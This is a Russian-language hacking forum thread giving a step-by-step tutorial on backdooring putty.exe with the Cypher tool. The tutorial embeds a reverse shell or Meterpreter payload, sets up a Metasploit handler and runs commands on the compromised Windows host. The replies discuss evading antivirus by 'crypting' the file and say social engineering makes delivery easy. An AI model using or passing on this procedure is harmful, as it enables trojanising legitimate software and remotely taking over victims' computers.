Взлом Windows PC - Cypher

[Vander]

Приветствую! В этой теме я продемонстрирую взлом удаленного хоста с помощью программы Cypher. Она позволит нам добавить полезную нагрузку в исполняемый файл (программу, игру, и т.д) не нарушая его целостности.

https://forum.antichat.xyz/attachments/4767656/img_f5e283a84a.png

В качестве атакующей системы будет использоваться OS Kali Linux,

https://forum.antichat.xyz/attachments/4767656/img_4bb59e83ba.png

в качестве целевой системы Windows 8.1 с актуальными обновлениями.

https://forum.antichat.xyz/attachments/4767656/img_259c604b34.png

Итак, вернемся к Cypher, скачиваем ее с Github:

> git clonehttps://github.com/xan7r/cypher

https://forum.antichat.xyz/attachments/4767656/img_730b18fc5c.png

Выполняем следующие команды:

> cd cypher

> chmod a+x addShell.py

> ls –a

Теперь нам необходимо выбрать исполняемый файл для «вшивания» в него полезной нагрузки, я взял putty.exe. Скопируем Putty в директорию в Cypher.

https://forum.antichat.xyz/attachments/4767656/img_26ed16956a.png

Теперь выполним следующую команду:

> ./ addShell.py -f ./putty.exe -H 192.168.0.105 -P 4444 –p 0

https://forum.antichat.xyz/attachments/4767656/img_0bbb0cea72.png


В приведенной команде –p 0 – это тип полезной нагрузки, всего и х в программе доступно 5.


· 0 – windows/shell_reverse_tcp

· 1 – windows/meterpreter/reverse_http

· 2 – windows/meterpreter/reverse_http +PrependMigrate

· 3 – windows/meterpreter/reverse_https

· 4 – windows/meterpreter/reverse_https +PrependMigrate

По итогу получаем файл putty_evil.exe в папке с Cypher.

https://forum.antichat.xyz/attachments/4767656/img_656d7ecdb8.png

Теперь настроим на атакующем хосте handler:
> msfconsole
> use multi/handler
> set LPORT 4444
> set LHOST 192.168.0.107
> exploit
https://forum.antichat.xyz/attachments/4767656/img_a5cfe7cd34.png


Следующим шагом будет доставка файла putty_evil.exe на целевой хост и последующий запуск приложения. После запуска, мы получаем полноценный command shell, на атакующем хосте.

https://forum.antichat.xyz/attachments/4767656/img_69079b5af0.png

Сменим кодировку командой:

> chcp 65001

https://forum.antichat.xyz/attachments/4767656/img_e5db342e2d.png


Посмотрим подробную информацию о системе:


> systeminfo

https://forum.antichat.xyz/attachments/4767656/img_0ae7a5b4db.png

Это все. Спасибо за внимание.

[Vander]

m0tion сказал(а):

Антивирусами палится?


8.1. - Без алертов запустился

[Vander]

mafiasepa сказал(а):

set LHOST 192.168.0.107(это свой ip или тест машины)?


Свой адрес

[msfconsole]

Inject0r сказал(а):

Касперский палит.


Как вариант можно закриптовать )

[ghostphisher]

Win XP Sp3 =)



После активации секунды две и ошибка, за эти секунды успевает только начать коннект (как видно на скрине внизу) =)

[Vander]

Darwin_Douglas сказал(а):

Как я понял,сложность состоит в том, что мне нужно доставить файл putty_evil.exe на целевую машину вручную или каким-нибудь другим способом и запустить.


Да, все верно

[ghostphisher]

Darwin_Douglas сказал(а):

Как я понял,сложность состоит в том, что мне нужно доставить файл putty_evil.exe на целевую машину вручную или каким-нибудь другим способом и запустить.



Если внимательно почитать форум и темы про социальную инженерию, сложностью это не станет. Запуск прриложения дело времени - если файло было скачано, то явно будет и запущено.

[Runinterface]

Sending stage (957487 bytes) to 192.168.1.153
c 10ки пробую.
Вот такое сообщение прилетает и все более ничего не происходит в чем может быть трабл?

[BarDimNik]

Здравствуйте! При создании пэйлоада получаю вот такое сообщение:
пользователь@pc:~/.pentest/cypher$ sudo ./addShell.py -f putty.exe -H 192.168.1.105 -P 4444 -p 0
Traceback (most recent call last):
File "./addShell.py", line 2, in
import random, optparse, pefile, capstone, binascii, struct, os
File "/usr/local/lib/python2.7/dist-packages/capstone/__init__.py", line 230, in
raise ImportError("ERROR: fail to load the dynamic library.")
ImportError: ERROR: fail to load the dynamic library.
Подскажите, пожалуйста, чего ему не хватает?

[woolf1514]

Так это джойнер получается. Как у него в целом с палевностью? Есть возможность проверить твой готовый файл, к примеру, на этом сканере?

[vag4b0nd]

Нужно потестить на различных антивирусах. А так очень позновательно ;D